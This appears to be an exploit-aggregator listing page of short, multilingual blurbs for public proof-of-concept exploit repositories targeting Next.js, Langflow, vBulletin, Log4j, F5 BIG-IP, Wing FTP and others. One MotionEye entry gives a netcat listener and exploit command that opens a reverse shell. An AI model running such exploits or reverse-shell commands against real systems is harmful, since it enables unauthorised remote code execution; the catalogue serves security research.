CVE-2025-55182

CVE-2025-55182 - React2Shell React Server Components / Next.js Remote-Codeausführung vor der Authentifizierung Parameter| Wert ---|--- CVE ID| CVE-2025-55182 CVSS| 10.0 Critical CWE| CWE-502: Deserialization of Untrusted Data Typ| Pre-Auth RCE Betroffene Versionen Komponente| Betroffene Versionen...

Mass-CVE-2025-3248

Langflow CVE-2025-3248 익스플로잇 도구 개요 이 도구는 Langflow 1.3.0 이전 버전에서 발견된 치명적인 원격 코드 실행RCE 취약점 CVE-2025-3248 을 익스플로잇합니다. 이 취약점은 인증이나 샌드박싱 없이 사용자가 제공한 코드를 부적절하게 실행하는 /api/v1/validate/code 엔드포인트에 존재합니다. ⚠️ 경고: 이 도구는 소유한 시스템 또는 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하십시오. 무단 사용은 불법이며 비윤리적입니다. 기능 Langflow 인스턴스가...

CVE-2025-55182

CVE-2025-55182 Strumento di exploit RCE per Next.js 🚀 Questo è uno strumento automatizzato di prova di concetto PoC per la vulnerabilità di esecuzione remota di codice RCE in Next.js React Server Components CVE-2025-55182. Lo strumento integra Shell interattiva , riconoscimento intelligente del...

vBulletin_Routestring-RCE

CVE-2019-16759vBulletinRoutestring-RCE-PoC In vBulletin wurde eine Schwachstelle entdeckt, die eine Remote-Codeausführung ermöglichen könnte, wenn eine bösartige POST-Anfrage an die verwundbare Anwendung gesendet wird. Die Schwachstelle ist auf einen Eingabevalidierungsfehler beim Parsen einer...

Solar-exploiting-log-4j

🔥 Solar Exploiting Log4j - Walkthrough di TryHackMe 📌 Stanza: Solar Exploiting Log4j Piattaforma: TryHackMe Difficoltà: Media Argomento: Log4Shell Vulnerabilità Log4j 🧠 Obiettivo Sfruttare la vulnerabilità Log4j CVE-2021-44228 per ottenere l'esecuzione remota di codice e catturare le flag. 🛠️...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...

CVE-2026-33017-Exploit

Fireflow RCE एक्सप्लॉइट Langflow के लिए buildpublictmp एंडपॉइंट के माध्यम से रिमोट कोड निष्पादन। पब्लिक फ्लो बिल्ड एंडपॉइंट के माध्यम से एक्सप्लॉइट जो टार्गेट पर रिवर्स शेल निष्पादित करता है। आवश्यकताएँ Python 3.8+ httpx लाइब्रेरी इंस्टॉल करें: root@kitploit: pip install httpx उपयोग root@kitploit...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 è una vulnerabilità critica di Esecuzione Remota di Codice RCE che colpisce React Server Components RSC. 📌 Panoramica Questa vulnerabilità consente a aggressori non autenticati di eseguire codice arbitrario su server vulnerabili. Il problema ha origin...

CVE-2025-55182-exploit

⚠️ AVVISO IMPORTANTE Questo strumento è destinato SOLO a test di sicurezza autorizzati e a fini educativi. Testa esclusivamente sistemi di tua proprietà o per cui hai ricevuto esplicita autorizzazione scritta L'uso non autorizzato è illegale e non etico Gli sviluppatori non si assumono alcuna...

HTB-NanoCorp-CVE-2024-0670

CVE-2024-0670 - Escalation dei privilegi tramite riparazione MSI dell'agente CheckMK NanoCorp HTB Questo repository contiene uno script PowerShell utilizzato per sfruttare CVE-2024-0670 sulla macchina NanoCorp di Hack The Box. La vulnerabilità consente a un utente con privilegi limitati di abusar...

CVE-2026-48800-PoC

CVE-2026-48800 — PoC di esecuzione di codice arbitrario in Notepad++ Gravità: Alta | Versioni interessate: Notepad++ ≤ 8.9.6 | Correzione: v8.9.6.1 Uno script PoC per CVE-2026-48800, una vulnerabilità di esecuzione di codice arbitrario in Notepad++ ≤ 8.9.6 tramite shortcuts.xml. Per tutti i...

CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2026-55182

LibreNMS , a network monitoring system, is vulnerable to command injection in the Signal alert transport module (versions 21.6.0 through 26.5.0). The root cause lies in insufficiently escaped signal-cli path and Recipient field in the deliverAlert function of Signal.php, which are passed to unsaf...

cve-2023-46747

CVE-2023-46747 एक्सप्लॉइट स्क्रिप्ट यह स्क्रिप्ट F5 BIG-IP TMUI रिमोट कोड निष्पादन भेद्यता CVE-2023-46747 का शोषण करती है। यह एक बिना प्रमाणीकरण वाले हमलावर को कमजोर F5 BIG-IP सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है। विषय-सूची विशेषताएँ आवश्यकताएँ उपयोग पैरामीटर यह कैसे काम करता ह...

CVE-2024-5452

CVE-2024-5452 01. RCE और pytorch-lightning अवलोकन 1 RCE और pytorch-lightning अवलोकन RCE Remote Code Execution, दूरस्थ कोड निष्पादन एक भेद्यता है जो हमलावर को दूरस्थ रूप से सिस्टम या एप्लिकेशन के भीतर मनमाना कोड निष्पादित करने की अनुमति देती है, और यह CWE-94: Improper Control of Generation of Code...

CVE-2025-25347

CVE-2025-25347 Übersicht Dieses Tool wird verwendet, um die Schwachstelle CVE-2025-25347 im QingLong Panel zu testen, einer Open-Source-Plattform zur Verwaltung von Task-Automatisierung. Diese Schwachstelle ermöglicht Remote Code Execution RCE , da das Panel an bestimmten Endpunkten keine...

CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC

CVE-2025-47812 — Wing FTP Server Schwachstelle zur nicht authentifizierten Remote-Codeausführung in Wing FTP Server = 7.4.3. Ein während der Anmeldung in den Parameter username injiziertes NULL-Byte bewirkt, dass Lua-Code in die Sitzungsdatei geschrieben wird. Wird /dir.html mit dem resultierende...

CVE-2021-42013

CVE-2021-42013 Mitwirkender 석은호@eunho87 CVE-2021-42013 Apache http Server Path Traversal Schwachstellenübersicht Ein Fehler in der Pfadnormalisierung des Apache HTTP Server 2.4.50 ermöglicht es, ohne Authentifizierung beliebige Dateien zu lesen oder entfernten Code auszuführen. Er wurde durch ein...

CVE-2015-3306

CVE-2015-3306 ProFTPD Exploit Dieses Repository enthält einen Python-Proof-of-Concept PoC-Exploit für CVE-2015-3306 ⚠️ Warnung: Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Unbefugte Ausnutzung ist illegal. Autor Mohamed...

struts2_cve-2017-5638

struts2cve-2017-5638 Dies ist eine Art Java-Portierung des Python-Exploits unter: https://www.exploit-db.com/exploits/41570/. Diese Software wurde ohne externe Abhängigkeiten geschrieben. HAFTUNGSAUSSCHLUSS Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen...